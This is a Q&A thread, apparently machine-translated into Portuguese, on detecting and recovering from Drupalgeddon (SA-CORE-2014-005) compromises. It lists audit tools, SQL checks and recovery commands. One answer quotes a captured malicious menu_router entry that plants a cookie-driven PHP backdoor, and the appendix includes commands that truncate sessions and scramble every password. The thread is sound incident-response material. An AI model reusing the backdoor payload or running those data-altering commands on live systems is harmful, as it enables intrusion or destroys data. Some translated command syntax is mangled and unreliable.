Drupal SA-CORE-2014-005 - Como saber se meu servidor / sites foram comprometidos?

Acabei de atualizar todos os meus sites usando o método de correção para resolver a exploração Drupal SA-CORE-2014-005. Acabei de ler relatos de que ontem houve alguém de um IP russo se infiltrando em sites de drupal.

https://www.drupal.org/SA-CORE-2014-005

Minhas principais preocupações são agora:

• Como posso saber se meus sites foram compostos?
• O que devo procurar nos meus logs de acesso apache para detectar se meu site foi vítima ou não?
• Até agora, o que esses hackers estão fazendo em sites abrangidos?

Aqui estão algumas consultas SQL que podem ser executadas nos bancos de dados do site para verificar se há usuários com privilégios de administrador e quais acessaram o site após 15 de outubro.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005

Se você está lendo este artigo e espera verificar um site do Drupal 7 mais de um mês após a exploração, o seu site provavelmente já foi invadido . Sua melhor aposta é restaurar um backup antes do início dos ataques e trabalhar a partir daí.

Há uma FAQ sobre SA-CORE-2014-005 .

Como posso saber se meus sites foram comprometidos?

Uma maneira de verificar rapidamente se os sites estão comprometidos é com o comando drupalgeddon drush.

• https://www.drupal.org/project/drupalgeddon

Instale no seu ~/.drushcomdrush dl drupalgeddon

Então use drush drupalgeddon-testpara testar. Aliases Drush tornam isso fácil e rápido.

Essa ferramenta pode confirmar um site explorado, mas não pode garantir que seu site não foi explorado. Não há "atestado de integridade" aqui, a menos que você tenha atualizado antes dos ataques começarem.

O módulo de auditoria do site inclui algumas das verificações do Drupalgeddon e oferece muito mais informações úteis. Eu recomendo. (Edição: Agora eles trabalham juntos - super legal!)

• http://drupal.org/project/site_audit

A Revisão de segurança não verifica ataques ao Drupalgeddon, mas também vale a pena ter no seu cinto de ferramentas.

• http://drupal.org/project/security_review

Se a base de código do seu site foi gravável para o usuário www, você também pode verificar o código modificado usando o módulo invadido. Este módulo pode não fazer o que você pensa com base apenas no seu nome :)

• http://drupal.org/project/hacked

Embora não exista uma maneira única de identificar todos os sites comprometidos, essas ferramentas podem ajudá-lo a identificar as indicações mais comuns.

O que devo procurar nos meus logs de acesso apache para detectar se meu site foi vítima ou não?

Seus logs de acesso conterão muitas solicitações POST até o momento. A menos que você tenha tomado o passo incomum de registrar todos os dados da postagem antes do bug, é improvável que você tenha informações para dizer quais deles eram maliciosos.

Até agora, o que esses hackers estão fazendo em sites comprometidos?

Muitos estão relatando que seus sites estão sendo corrigidos pelos hackers! Como invasor, isso faz sentido - você não quer que seu site recém-invadido seja arrancado de baixo de você pelo próximo invasor :)

Fora isso, eu acho que os sites estão sendo usados ​​para coletar quaisquer dados valiosos que existem (talvez pegar alguns creds, talvez levantar detalhes de transações após a exploração) e fazer coisas chatas como enviar spam e trabalhar como humildes escravos de botnets. Ah, e expandir ainda mais o império do atacante de sites Drupal seqüestrados. (Desculpe, não tenho sites hackeados para observar.)

Algumas verificações de ataques comuns são (esta não é uma lista exaustiva, mas são alguns dos ataques vistos na natureza até agora):

• Verifique sua conta de usuário 1 para garantir que seu nome de usuário, endereço de email ou senha sejam os que você espera que sejam. Verifique também qualquer outra conta de usuário que possua altos níveis de permissão, se possível.
• Verifique se há novas contas de usuário suspeitas.
• Verifique se há alterações nas funções em seu sistema, por exemplo, quaisquer novas funções ou funções renomeadas.
• Verifique se há alterações de permissão. O aspecto mais importante disso é garantir que a função de usuário anônimo (ou outras funções que alguém possa se inscrever para obter) não tenha sido alterada para oferecer maior acesso.
• Verifique se há novos blocos personalizados que podem conter código malicioso.
• Verifique se há novos nós personalizados que podem conter código malicioso.
• Verifique se há arquivos no seu sistema de arquivos que não deveriam estar lá. Isso é fácil se você usar o controle de versão, porque você pode executar o status git ou svn st para verificar se existem novos arquivos.
• Se eles fizeram upload de arquivos maliciosos, você pode verificar seus logs de acesso quanto a ocorrências em nomes de arquivos estranhos com os quais você não está familiarizado.

• Verifique a tabela do banco de dados do roteador de menus em busca de entradas maliciosas. Por exemplo (o módulo drupalgeddon / plugin drush no drupal.org possui um bom script para verificar esta tabela mais detalhadamente):

  SELECT * FROM menu_router WHERE access_callback = 'file_put_contents';

• Você também pode simplesmente procurar na tabela do roteador de menus por entradas com aparência estranha.

Algumas coisas que os hackers estão tentando fazer são:

• Coloque arquivos de script php em seu site para que eles possam ser executados pressionando-os em um navegador. Esses scripts podem fazer uma grande variedade de coisas maliciosas. Isso é obtido com a adição de entradas maliciosas no roteador de menus.
• Crie contas de usuários administrativos para eles usarem para fazer coisas ruins no seu site ou assumir o controle dele.
• Altere o endereço de email do usuário 1 para que ele possa redefinir a senha dessa conta e assumi-la.
• Altere as permissões em funções de usuário acessíveis ao público.
• Adicione blocos / nós / etc. que pode conter código malicioso. Se você tiver o filtro PHP ativado, isso é ainda mais problemático.

Infelizmente, existem tantas coisas que um invasor pode fazer no seu banco de dados que é muito difícil fornecer uma lista completa de possibilidades. Eles poderiam fazer coisas que tentassem obter o controle do seu site, ou poderiam simplesmente quebrá-lo, mas eliminando tabelas ou colunas do banco de dados, etc.

Eles podem até fazer pequenas alterações na configuração do site, como alterar o nome do site ou algo assim, que não é o fim do mundo, mas ainda é problemático.

Basicamente, qualquer coisa que você possa fazer em seu banco de dados executando um comando SQL, teoricamente um invasor pode fazer.

Todos os módulos mencionados na resposta de Chris Burgess são muito úteis para verificar essas coisas.

Eu acho que seguiria o conselho drupal.org " Você deve seguir o pressuposto de que todo site do Drupal 7 foi comprometido, a menos que seja atualizado ou corrigido antes de 15 de outubro, 23:00 UTC, ou seja, sete horas após o anúncio ". Como Bevan disse neste comentário "A atualização ou correção do Drupal não corrige backdoors que os atacantes instalaram antes de atualizar ou corrigir o Drupal".

Bevan também fez o seguinte gráfico de fluxo de trabalho para ajudá-lo a analisar se você pode ter sido infectado e como recuperar e prevenir . No entanto, ele pede a todos que acessem o artigo original para garantir que você tenha a versão mais recente do fluxo de trabalho. Além disso, o Acquia faz um artigo interessante sobre os ataques e padrões que eles sofreram no Acquia Cloud

Citação de: https://www.drupal.org/node/2357241#comment-9258955

Este é um exemplo do arquivo que é inserido na coluna menu_outer table access_callback:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Como você pode ver, está tentando criar o arquivo modules / image / vzoh.php, mas como eu tenho apenas permissões de leitura dentro desses diretórios, o php falha.

Relatórios de pessoas encontrando arquivos semelhantes criados fazendo uma pesquisa no diretório drupal: https://www.drupal.org/node/2357241#comment-9260017

O que eu fiz foi fazer o seguinte comando:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

Citado em: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Mostrando arquivos que foram alterados no servidor ativo: status do git

Procurando por tentativas de execução de código via menu_router: selecione * em menu_router em que access_callback = 'file_put_contents'

Mostrando quais arquivos estão no servidor ativo e não no controle de versão: diff -r docroot repo | grep docroot | grep 'Somente no docroot'

Localizando arquivos PHP no diretório files: find. -caminho "* php"

Para verificar a quantidade de tempo entre o momento em que um usuário fez login no site e a visita à página mais recente: selecione (s.timestamp - u.login) / 60/60/24 AS days_since_login, u.uid dos usuários de associação interna das sessões em s.uid = u.uid;

Uma lista muito boa de comandos para saber se você foi comprometido.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

Você pode verificar se o seu site foi invadido por esta ferramenta on-line:

Drupal Check: O EngineHack

Obviamente, tem limitações, mas é um bom ponto de partida.